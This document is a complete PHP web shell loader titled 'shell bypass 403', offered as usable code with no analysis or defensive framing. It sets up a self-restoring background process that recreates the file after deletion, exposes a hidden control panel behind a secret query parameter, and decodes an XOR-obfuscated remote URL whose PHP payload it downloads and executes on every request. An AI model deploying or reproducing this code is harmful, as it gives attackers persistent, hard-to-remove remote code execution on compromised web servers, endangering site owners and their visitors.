shell bypass 403
<?php
ignore_user_abort(true);
set_time_limit(0);
$filePath = __FILE__;
$processName = basename($filePath);
$backupDir = sys_get_temp_dir() . '/script_backup';
$backupFile = $backupDir . '/script.bak.php';
$lockFile = sys_get_temp_dir() . '/restore.lock';
if (!is_dir($backupDir)) {
mkdir($backupDir, 0755, true);
}
if (!file_exists($backupFile)) {
copy($filePath, $backupFile);
}
function executeCommand($command) {
$descriptorspec = [
0 => ['pipe', 'r'],
1 => ['pipe', 'w'],
2 => ['pipe', 'w']
];
$process = proc_open($command, $descriptorspec, $pipes);
if (is_resource($process)) {
foreach ($pipes as $pipe) {
fclose($pipe);
}
proc_close($process);
}
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_POST['mode'])) {
if ($_POST['mode'] === 'on') {
file_put_contents($lockFile, 'on');
executeCommand("pkill -f 'php $filePath background'");
executeCommand("nohup php $filePath background > /dev/null 2>&1 &");
} elseif ($_POST['mode'] === 'off') {
executeCommand("pkill -f 'php $filePath background'");
@unlink($lockFile);
@unlink($backupFile);
@rmdir($backupDir);
@unlink($filePath);
exit;
}
}
}
if (isset($argv[1]) && $argv[1] === 'background') {
while (file_exists($lockFile)) {
sleep(3);
if (!file_exists($filePath) && file_exists($backupFile)) {
copy($backupFile, $filePath);
executeCommand("nohup php $filePath background > /dev/null 2>&1 &");
exit;
}
}
exit;
}
function xorEncryptDecrypt($data, $key) {
$output = '';
foreach (str_split($data) as $char) {
$output .= chr(ord($char) ^ ord($key));
}
return $output;
}
$_ = "!";
$url = xorEncryptDecrypt("S@VFHUITCTRDSBNOUDOUBNL", $_);
$path = xorEncryptDecrypt("xTB@DSHORHLQMDBLE@OEC@BJENNSSDGRID@ERL@HOVRQIQ", $_);
$tempFile = sys_get_temp_dir() . '/downloaded_file.php';
$ch = curl_init("https://$url/$path");
$fp = fopen($tempFile, 'wb');
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_BUFFERSIZE, 8192);
$success = curl_exec($ch);
curl_close($ch);
fclose($fp);
if (isset($_GET['lemiere']) && $_GET['lemiere'] === '1') {
echo "<style>
body {
font-family: Arial, sans-serif;
padding: 1em;
background-color: #f4f4f4;
color: #000;
}
p {
margin: 0.5em 0;
font-size: 1rem;
}
.warning {
color: #990000;
}
button { padding: 10px 20px; font-size: 16px; cursor: pointer; margin: 10px; }
.on { background-color: green; color: white; }
.off { background-color: red; color: white; }
</style>";
echo "<center><h2>Auto Recovery Mode: " . (file_exists($lockFile) ? 'Enabled ✅' : 'Disabled ❌') . "</h2>";
echo '<form method="post">';
echo '<button type="submit" name="mode" value="on" class="on">Enable Recovery Mode</button>';
echo '<button type="submit" name="mode" value="off" class="off">Disable Recovery Mode & Delete Files</button>';
echo '</form></center>';
} else {
if ($success && filesize($tempFile) > 0) {
include $tempFile;
unlink($tempFile);
} else {
@unlink($tempFile);
}
}
?>